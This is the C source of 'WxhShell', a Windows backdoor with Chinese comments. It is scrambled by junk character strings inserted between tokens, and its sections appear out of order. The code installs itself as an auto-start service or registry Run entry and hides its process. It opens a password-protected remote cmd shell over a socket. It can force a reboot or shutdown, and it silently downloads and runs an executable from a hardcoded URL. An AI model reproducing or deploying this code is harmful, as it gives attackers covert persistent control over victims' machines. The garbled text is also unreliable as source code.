6 %U)M?UNjw HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i@ avm7 if(NULL == hInst ) return 0; L~FE;*>7 g#ONtY@*U g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F-n1J?4b g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Sm%MoFf NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S[ ,r.+ J;wA if (!NtQueryInformationProcess) return 0; ,FPgbs jTx,5s- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c!%:f^7g if(!hProcess) return 0; 2v<[XNX wFaWLC|& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1dK^[;v>3 gU}?Yy CloseHandle(hProcess); ngJES`0d o;JBe"1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _dEf@== if(hProcess==NULL) return 0; *{)![pDYd -~h2^Oez HMODULE hMod; LV 94i char procName[255]; Sk$XC unsigned long cbNeeded; X3Vpxtb n.y72-&v if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AsM""x1Ix hGF(E* CloseHandle(hProcess); viBf". 2Xgw7`
!L if(strstr(procName,"services")) return 1; // 以服务启动 /=\__$l) !+H=e>Y6 return 0; // 注册表启动 P"u* bqk } I=^%l7
)[)-.{q // 主模块 4f"a/(>* int StartWxhshell(LPSTR lpCmdLine) ]IJ.} { [:!#F7O- SOCKET wsl; ,9"</\]` BOOL val=TRUE; <S0!$.Kg*< int port=0; fK^FD&sF struct sockaddr_in door; ki^[~JS>' N2tvP+Z6D if(wscfg.ws_autoins) Install(); Y^S0K'N (w% hz'] port=atoi(lpCmdLine); cuquA ~ a(8]y.`Tv if(port<=0) port=wscfg.ws_port; ld[]f*RuW #D+Fq^="P WSADATA data; 6M$.gX
G. if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Qq]UEI `Go '7'cKp if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; i`8!Vm setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =GM!M@~,Ab door.sin_family = AF_INET; =$Q3!bJ door.sin_addr.s_addr = inet_addr("127.0.0.1"); xYt{= door.sin_port = htons(port); N M~e "Jnq~7] if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ? *I9 closesocket(wsl); W.:kE|a.g return 1; %v~j10e } 7X}_yMxc (DKpJCx if(listen(wsl,2) == INVALID_SOCKET) { J(/
eR,ak closesocket(wsl); oRWsi/Zf return 1; :@b>,{*4zS } a9jY^E'|n Wxhshell(wsl); bJB:]vs$ WSACleanup(); =AcbX_[ KS(T%mk\ return 0; sQihyq6U; J;q3
fa } ha8do^x ^<|If:| // 以NT服务方式启动 Fx3VQ'%J VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #{
Uk4 { w@%W{aUC DWORD status = 0; J$WIF&*0@ DWORD specificError = 0xfffffff; !&'xkw `
0U/:Tpyr serviceStatus.dwServiceType = SERVICE_WIN32; *=|i" serviceStatus.dwCurrentState = SERVICE_START_PENDING; .cZ&~ N serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;_Rx|~!! serviceStatus.dwWin32ExitCode = 0; 1@nR.v"$ serviceStatus.dwServiceSpecificExitCode = 0; p6HZ2Q:a serviceStatus.dwCheckPoint = 0; ?pF;{ serviceStatus.dwWaitHint = 0; \
I?;% x(=kh%\; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ap6Vmp if (hServiceStatusHandle==0) return; fnmZJJ,Q LiB0]+wzj status = GetLastError(); m1[QD26 if (status!=NO_ERROR) T:!sfhrZ~< { ,<vrDHR serviceStatus.dwCurrentState = SERVICE_STOPPED; !<YRocQY serviceStatus.dwCheckPoint = 0; D{l.WlA. serviceStatus.dwWaitHint = 0; h
|lQTT serviceStatus.dwWin32ExitCode = status; &^uzg&,; serviceStatus.dwServiceSpecificExitCode = specificError; U/iAP W4U SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6=@n
b3D% return; #63/;o:l$ } (%P* rl Zgg 7pL)#c serviceStatus.dwCurrentState = SERVICE_RUNNING; AQiP2`? serviceStatus.dwCheckPoint = 0; <m6Xh^Ko; serviceStatus.dwWaitHint = 0; ~<Lf@yu-{ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iZSSd{jO } c'|MC[^A MV/~Rmd. // 处理NT服务事件,比如:启动、停止 cUm9s>^)/ VOID WINAPI NTServiceHandler(DWORD fdwControl) @B'Mu:|f { `Eu(r]:W switch(fdwControl) Gz6GU.IyQy { {//F>5~[ case SERVICE_CONTROL_STOP: 8uGPyH serviceStatus.dwWin32ExitCode = 0; Ffxk] o&%c serviceStatus.dwCurrentState = SERVICE_STOPPED; qIqk@u serviceStatus.dwCheckPoint = 0; Y(:OfC? serviceStatus.dwWaitHint = 0; O)5PUyC:H { 3w9
]@kU SetServiceStatus(hServiceStatusHandle, &serviceStatus); M|v.5l# } ipzUF o<w return; u:S@'z> case SERVICE_CONTROL_PAUSE: ;OPCBd r serviceStatus.dwCurrentState = SERVICE_PAUSED; b #^aM break; >C-_Zv<!T\ case SERVICE_CONTROL_CONTINUE: =Hx~]1 serviceStatus.dwCurrentState = SERVICE_RUNNING; N*SgP@Bt break; /SUV'J) case SERVICE_CONTROL_INTERROGATE: nM; G;
T break; 28)TXRr- }; (En\odbvt SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~r!5d@f.6 } -+9x 0-P wrO>#`Z // 标准应用程序主函数 vW{cBy int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tT8jC:oVa { .#:,j1L"53 ^kl9U+ // 获取操作系统版本 x<Zhj3 OsIsNt=GetOsVer(); 9kF#* GetModuleFileName(NULL,ExeFile,MAX_PATH); R_qo]WvR; VA%"IAl // 从命令行安装 Fkz if(strpbrk(lpCmdLine,"iI")) Install(); B@;)$1-UT YEQW:r_h.S // 下载执行文件 YDNqWP7s if(wscfg.ws_downexe) { *3/7wSV: if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gZjOlp WinExec(wscfg.ws_filenam,SW_HIDE); S[a5k;8GL } 3opLLf_g ZmULy;{<) if(!OsIsNt) { UC1!J
=f // 如果时win9x,隐藏进程并且设置为注册表启动 UTTC:=F+ HideProc(); )R^Cq o' StartWxhshell(lpCmdLine); qp W#!Vbx } YF -w=Y6 else 2*citB{ if(StartFromService()) X?6h>%) k // 以服务方式启动 VU/W~gb4"A StartServiceCtrlDispatcher(DispatchTable); eCp| QSXE else >$mSFJz5S // 普通方式启动 $&8h=e~]- StartWxhshell(lpCmdLine); GVEWd/:X( u!uDu,y return 0; .UrYF 0 } gx*rSS?=N <!9fJFE \ZFQ?e,d ?nZ <? =========================================== LO]6Xd" UNQRtR/ 4*vas]
be:phS4vz -L9R&r#_e 8'lhp2#h " DLYZsWA, nr>{ uTa #include <stdio.h> @LKG\zYBu #include <string.h> _g 4/% #include <windows.h> (L5'rNk #include <winsock2.h> eFSC^ #include <winsvc.h> AD@PNM #include <urlmon.h> u7"VeTz |2@en=EYk #pragma comment (lib, "Ws2_32.lib") &^IcL!t[ #pragma comment (lib, "urlmon.lib") EB>B,# ]zyX@=mM #define MAX_USER 100 // 最大客户端连接数 DAnb.0 #define BUF_SOCK 200 // sock buffer [tqO}D #define KEY_BUFF 255 // 输入 buffer =u8D!AxT fT3*>^Uv #define REBOOT 0 // 重启 v'Vt
.m&9& #define SHUTDOWN 1 // 关机 6!B^xm.R @ bW9"0=j[{ #define DEF_PORT 5000 // 监听端口 lB!vF ~A& 6B''9V:s #define REG_LEN 16 // 注册表键长度 FxfL+}?Q #define SVC_LEN 80 // NT服务名长度 4C1FPrh k=7Gr;;l=p // 从dll定义API C,r`I/; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =x^l[>sz typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7B(bH8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C4{\@v}t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y?#9>S >:\ f>r3$WKj // wxhshell配置信息 rer|k<k;]G struct WSCFG { voV:H[RD9 int ws_port; // 监听端口 -+}5ma char ws_passstr[REG_LEN]; // 口令 T;!ukGoFP int ws_autoins; // 安装标记, 1=yes 0=no \E@s_fQ] char ws_regname[REG_LEN]; // 注册表键名 >{m2E8U0 char ws_svcname[REG_LEN]; // 服务名 iS1Gb$? char ws_svcdisp[SVC_LEN]; // 服务显示名 *q*HG W5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 nG"n-$A?< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !&`}]qQZ int ws_downexe; // 下载执行标记, 1=yes 0=no f<89$/w char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i_u
{5 U; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2L2 VVO 1n'$Ji7 }; #SQvXMT {y-2 // default Wxhshell configuration 1TNz&=e struct WSCFG wscfg={DEF_PORT, tqf&N0*
"xuhuanlingzhe", 0||"r&:X 1,
4;C*Fa "Wxhshell", $_C+4[R? "Wxhshell", URK!W?3c "WxhShell Service", rLJ[FqS "Wrsky Windows CmdShell Service", &$qF4B* "Please Input Your Password: ",
\Mb(6~nC 1, hCM8/Vvx6 "http://www.wrsky.com/wxhshell.exe", CE#\Roi x) "Wxhshell.exe" cJ(BiL-uF }; M
XZq _BV`,`8} // 消息定义模块 qL|
5-(P char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P8wy*JvT char *msg_ws_prompt="\n\r? for help\n\r#>"; ptpW41t}^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |3{+6cg char *msg_ws_ext="\n\rExit."; f=ac I|w char *msg_ws_end="\n\rQuit."; 2{ o0@ char *msg_ws_boot="\n\rReboot..."; [ -ISR7D char *msg_ws_poff="\n\rShutdown..."; |2)Sd[q char *msg_ws_down="\n\rSave to "; dEASvD' lC#RNjDp/~ char *msg_ws_err="\n\rErr!"; G02ox5X char *msg_ws_ok="\n\rOK!"; bD35JG^&i RF_[?O)Q char ExeFile[MAX_PATH]; W+gpr|R2 int nUser = 0; 4xm&pQo{V6 HANDLE handles[MAX_USER]; '>3`rsu int OsIsNt; =}JBA>q( <jeh`g SERVICE_STATUS serviceStatus; XOrcygb2 SERVICE_STATUS_HANDLE hServiceStatusHandle; akT|Y4KxD s^w\zz Yb // 函数声明 9ilM@SR int Install(void); )Zas
x6` int Uninstall(void); vsKl#R B int DownloadFile(char *sURL, SOCKET wsh); (I4y[jnD int Boot(int flag); v f`9*x F void HideProc(void); P##Z[$IJ3 int GetOsVer(void); #?9Q{0e int Wxhshell(SOCKET wsl); <uZPqi|| void TalkWithClient(void *cs); !@u&{"{` int CmdShell(SOCKET sock); Sx8l<X int StartFromService(void); &p5&=zV} int StartWxhshell(LPSTR lpCmdLine); {j?7d; 'j RqXi1<6j# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]pnYvXf>! VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z>F@nTzb> k6@b| // 数据结构和表定义 J58#$NC
`' SERVICE_TABLE_ENTRY DispatchTable[] = 1otspOy { =7 VCtd/ {wscfg.ws_svcname, NTServiceMain}, :NuR>~ {NULL, NULL} d.`&0 }; HsnG4OE uPkb, :6~Z // 自我安装 Gn59yG!4 int Install(void) CtM'L { w
NH9WG char svExeFile[MAX_PATH]; gN?0m4[$i HKEY key; o(qEkR:4kd strcpy(svExeFile,ExeFile); c3] C:t+ XLm@etf // 如果是win9x系统,修改注册表设为自启动 -Q$b7*"z( if(!OsIsNt) { KAed!z9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :#{-RU@PS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xP{-19s1] RegCloseKey(key); x=-0 zV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =EW3&+Lt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vX+.e1m RegCloseKey(key); qD-fw-,: return 0; ?E<c[*F05 } QH~Jy*\+PX } G>%AZr{M } ?*H9-2W@ else { 3B{[%#vO ?,07;>& // 如果是NT以上系统,安装为系统服务 d+6]u_J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;i\C]* if (schSCManager!=0) F$Q04Qw { RN[]Jt#6 SC_HANDLE schService = CreateService 4T`&Sl ( }c%
pH{HI schSCManager, KiAcA]0 wscfg.ws_svcname, *Y%Jl
o wscfg.ws_svcdisp, n 'K6vW3 SERVICE_ALL_ACCESS, WPo:^BD SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =&7@<vBpy SERVICE_AUTO_START, =i>\2J%'R SERVICE_ERROR_NORMAL, _s+c+]bO svExeFile, -[DWM2C$K4 NULL, @2
=z}S3O NULL, 7Fz
xe$A NULL, }>}1oUCi NULL, CISO<z0 NULL *N F$1 ); dl0FQNz8@B if (schService!=0) 0xCz'mJ { >w.'KR0L CloseServiceHandle(schService); `T"rG}c CloseServiceHandle(schSCManager); c@R; /m:R strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \a)) strcat(svExeFile,wscfg.ws_svcname); uZIJoT if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8>N wCjN RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !msNEE@[ RegCloseKey(key); {%b
}Z2
return 0; ?n]FNjd } |~K(F<;j } oM,- VUr CloseServiceHandle(schSCManager); iW;i!, } 5~+XZA#2 } NTmi 2c WUEHB return 1; \Q&,ISO\ } nY_?Jq VWi2(@R^ // 自我卸载
!tNd\}@ int Uninstall(void) !aNh! { ONX8}Ob~ HKEY key; +e P.s_t W7=V{}b+ if(!OsIsNt) { 2YOKM#N] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s_ bR]G RegDeleteValue(key,wscfg.ws_regname); DlTR|(AL RegCloseKey(key); w?LrJ37u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *:hyY!x RegDeleteValue(key,wscfg.ws_regname); mfom=-q3k RegCloseKey(key); 4(cJ^]wb ^ return 0; Z4hLdHo_ } B4g8
~f } s8<gK.atl } 4w$_]ke else { (\,BxvhG= #E$X,[ZFo SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }Hcx=}j if (schSCManager!=0) ^6;V}2>v} { 1;lmu]I>) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @T:faJ5\' if (schService!=0) B_^]C9C| { x,8<tSW)Z if(DeleteService(schService)!=0) { #=,imsW) CloseServiceHandle(schService); SO{p ;g CloseServiceHandle(schSCManager); nFM@@oA return 0;
2oVV'9;B } DN8}glVxV CloseServiceHandle(schService); kq-mr } ly9x1`?$ CloseServiceHandle(schSCManager); * [iity } `two|gX0K } f>.`xC{ v)wY return 1; &\CJg'D:m } TsoCW]h [i2A{(x // 从指定url下载文件 V,99N'o~x int DownloadFile(char *sURL, SOCKET wsh) ;P0,60 { GLbc/qs HRESULT hr; R
(+h)#![ char seps[]= "/"; =vB]*?;9 char *token; 3tJ=d'U char *file; !y[}| char myURL[MAX_PATH]; z(8)1#(n7 char myFILE[MAX_PATH]; h0'8NvalQ d m/-} strcpy(myURL,sURL); [ flu|v token=strtok(myURL,seps); ^TuP=q5? while(token!=NULL) G~b`O20N { bW,BhUb,| file=token; [a#?}(( token=strtok(NULL,seps); ?uNTUU, } [u!p- v
Ie=wf~D` GetCurrentDirectory(MAX_PATH,myFILE); __oY:d(~ strcat(myFILE, "\\"); 9b"}CEw strcat(myFILE, file); "t3uW6& send(wsh,myFILE,strlen(myFILE),0); tal>b]B; send(wsh,"...",3,0); D;16}D hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p 02nd.R6 if(hr==S_OK) f}evw K[S return 0; F:[Nw#gj/ else %RfY`n return 1; P>yG/:W; s=
-WB0E } i}
NkHEK E< io^ // 系统电源模块 Mo:!jS~a(Z int Boot(int flag) Qd&d\w/ { yhw:xg_;Kz HANDLE hToken; \UkNE5 TOKEN_PRIVILEGES tkp; +j)-L \ 5p#o1I if(OsIsNt) { iZDb.9@&t OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i"2J5LLv LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @M1yBN tkp.PrivilegeCount = 1; &Cx yP_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2Q`PUXj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y4)ZUv,} if(flag==REBOOT) { HlOAo:8' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =Ov;'MC return 0; o}r!qL0c } ~x+:44* else { eE#81]'6a if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !DY2{Wb return 0; gnKU\>2k } rS,*s'G } (F4d Fh else { [7SI<xkv if(flag==REBOOT) { ?-(w][MT\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) flm,r<*} return 0; P@! Q1pr } 4:%El+,_Y else { i"r.>X'Z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k`iq<b return 0; 's7 SZ$( } M rH%hRV6R } qw
Kh,[] //'xR8Z return 1; ATXx?
b8h } ?=|)n% L&3Ar' // win9x进程隐藏模块 !)51v { void HideProc(void) W~+!"^<n { g[D,\ VQG /g\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '%eaK_+7 if ( hKernel != NULL ) ^}Dv$\;6 { |+$j(YuH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vt(}ga ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p[k9C$@e} FreeLibrary(hKernel); +"N<- } ~YT>:Np (`uC"M Lk return; u}@%70A } c-3Y SrY -V<=`e // 获取操作系统版本 =vqE=:X6 int GetOsVer(void) B9;,A;E}; { ?SsRN jeL OSVERSIONINFO winfo; S*DBY~pZy winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AIRVvW~($ GetVersionEx(&winfo); zvQ^f@lq2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Sj]T{3mi return 1; D .oS8' else R(7X}*@X return 0; !~$ YD*"S } 3Oig/KZ Yf2+@E // 客户端句柄模块 7K5o"
" int Wxhshell(SOCKET wsl) )lngef
/D_ { WSpg(\Cs SOCKET wsh; (>Q9jNW struct sockaddr_in client; 6Kv}2M')+ DWORD myID; Q+%m+ /Zq ~1wdAq`'a while(nUser<MAX_USER) >FMT#x t { J?,!1V= int nSize=sizeof(client); 5)SZd) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '\E*W!R.] if(wsh==INVALID_SOCKET) return 1; NId~|&\ @ T~#Gwv handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7gR; if(handles[nUser]==0) ` $x#_-Hn closesocket(wsh); o._#=7|( else qeO6}A"^| nUser++; %Cbc@=k } uK&wS#uY WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <K.C?M(9 JXR/K=<^ return 0; L!}j3(I } ?\p%Mx? /o06h y // 关闭 socket tU~H@' void CloseIt(SOCKET wsh) <0,ah4C { GzZ|T7fm closesocket(wsh); (Ss77~W7 nUser--; f!R^;'a ExitThread(0); f6_|dvY3 } BQfAen] 4`5Qt=} // 客户端请求句柄 E,yzy[gl void TalkWithClient(void *cs) O t4+VbB6 { R;-FZ@u/ IM&7h!
l"| SOCKET wsh=(SOCKET)cs; '8pPGh9D char pwd[SVC_LEN]; <n2{+eO char cmd[KEY_BUFF]; I9j+x]) char chr[1]; fM[fS?W int i,j; kKk |@ &u`rE"" while (nUser < MAX_USER) { #?|1~HC @aPu}Hi if(wscfg.ws_passstr) { n~>CE"q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~aq?Kk //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2] wf`9ZH //ZeroMemory(pwd,KEY_BUFF); Q{|'g5(O i=0; g}og@UY7# while(i<SVC_LEN) { IOES3 g#<?OFl // 设置超时 =
]HJa fd_set FdRead; ZzaW@6LJF struct timeval TimeOut; ' ^L FD_ZERO(&FdRead); hw.demD FD_SET(wsh,&FdRead); hs#s $})}Z TimeOut.tv_sec=8; 0~L8yMM TimeOut.tv_usec=0; U!UX"r int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qxCL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2d J)4 `r0
qn'* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n7!Lwq2 pwd=chr[0]; lJQl$Wx^ if(chr[0]==0xd || chr[0]==0xa) { 7)It1i- pwd=0; &\D<n;3 break; Sw9mrhzJfe } G;#t6bk i++; IhKas4 } +z?f,`.* \7w85$ // 如果是非法用户,关闭 socket 5}^08Xl if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L5|;VH } SE-, 1p Kz2^f@5=F send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bzL;)H4Eo send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,?N_67 V`&*%xgGR while(1) { l{SPV8[i dE!=a|Pl ZeroMemory(cmd,KEY_BUFF); k)t8J \ -+2xdLa63 // 自动支持客户端 telnet标准 d1_*!LW$ j=0; JRs[%w`kD while(j<KEY_BUFF) { uC ;PP=z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q@yabuN@,j cmd[j]=chr[0]; _I"<?sh3 if(chr[0]==0xa || chr[0]==0xd) { <y/AEY1 cmd[j]=0; M#<fh:> break; ZaV66Y> } !_z>w6uR
j++; FJH8O7 } @{GxQzo Gkvd{G?F // 下载文件 >-WOw if(strstr(cmd,"http://")) { >l*9DaZ send(wsh,msg_ws_down,strlen(msg_ws_down),0); eeR@p$4i if(DownloadFile(cmd,wsh)) >!.lr9(l send(wsh,msg_ws_err,strlen(msg_ws_err),0); (zODV4,5k` else i]WlMC6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jsht2]iq3K } EF{'J8AQ else { 5Kxk9{\8 dllf~:b switch(cmd[0]) { Yzx0 [_'u >V=@[B(0 // 帮助 *J5euA5= case '?': { WC; a send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jmVy4* P_ break; \(t>(4s_~ } ;AA7wK 4 // 安装 W%QtJB1) case 'i': { ~TIZumGB if(Install()) TmH13N] send(wsh,msg_ws_err,strlen(msg_ws_err),0); hds4_ else A>@epCD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l+qtA~V&2 break; [:'?}p } \`5u@Nzx // 卸载 J~`%Nj5> case 'r': { $F$R4?_ if(Uninstall()) UeeV+xU send(wsh,msg_ws_err,strlen(msg_ws_err),0); }r<^]Q*&p else Y|jesa {x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `;GGuJb \ break; dR{
V,H7N } m3e49 bP // 显示 wxhshell 所在路径 LZ: \V)5+ case 'p': { ZO$T/GE6% char svExeFile[MAX_PATH]; 5ml}TSMu' strcpy(svExeFile,"\n\r"); nOzTHg8 strcat(svExeFile,ExeFile); |H@p^.; send(wsh,svExeFile,strlen(svExeFile),0); glIIJ5d|, break; IcA~f@ } nL~
b // 重启 m(]IxI case 'b': { \,t<{p_Q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xGk4KcxKs if(Boot(REBOOT))
!}48;P l send(wsh,msg_ws_err,strlen(msg_ws_err),0); /a)=B)NH else { Xh!Pg)|E closesocket(wsh); GQWTQIl] ExitThread(0); d'D\#+%>= } ?"u-@E[m break; A2S9h,t } S*:w\nXP~ // 关机
>ON.ftZi case 'd': { &$im^0`r_ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Rj=Om if(Boot(SHUTDOWN)) DlO;EH send(wsh,msg_ws_err,strlen(msg_ws_err),0); (LPD else { 5nb6k,+E closesocket(wsh); 6[7k}9`alz ExitThread(0); IQv>{h} } o)WSMV(&f break; ,Yz+?SmSZ& } =1Jo-!{{ // 获取shell VHNiTp case 's': { " V2$g CmdShell(wsh); C>ZeG
Vq closesocket(wsh); !-~(*tn ExitThread(0); 9x,+G['Zt break; )5x?Qn (B } Fowh3go // 退出 OO>2oH case 'x': { pBLO send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ??Ac=K\ CloseIt(wsh); 7^5BnF@ break; ;O>fy:$' } 5,Zn$zosJC // 离开 X:/t>0e case 'q': { i(rY'o2 BN send(wsh,msg_ws_end,strlen(msg_ws_end),0); net9KX4\ closesocket(wsh); w7u >|x! WSACleanup(); `;@4f|N9 exit(1); PD4E&k break; m,O!Mt } E~^'w.1 } ="K>yUfcFl } ObzlZP
r@ "<#:\6aym // 提示信息 Df^S77&c! if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P#PQ4uK \ } ?Pc3*. } n
Lb 9$& >j3N-;o@? return; Bs}>#I } ?Q2pD!L{ RGmpkQEp // shell模块句柄 @Iu-F4YT int CmdShell(SOCKET sock) ?C3cPt" { <^{: K` STARTUPINFO si; +6atbbe} ZeroMemory(&si,sizeof(si)); ~O-8 h0d3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =oJiNM5_u si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X3yr6J[ ^ PROCESS_INFORMATION ProcessInfo; gG>>ynn char cmdline[]="cmd"; = ;d<Ikj CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L4b4X return 0; g!ww;_ } Xg,BK0O ibyA~YUN/ // 自身启动模式 %\0 Y1!Hw int StartFromService(void) Pa< |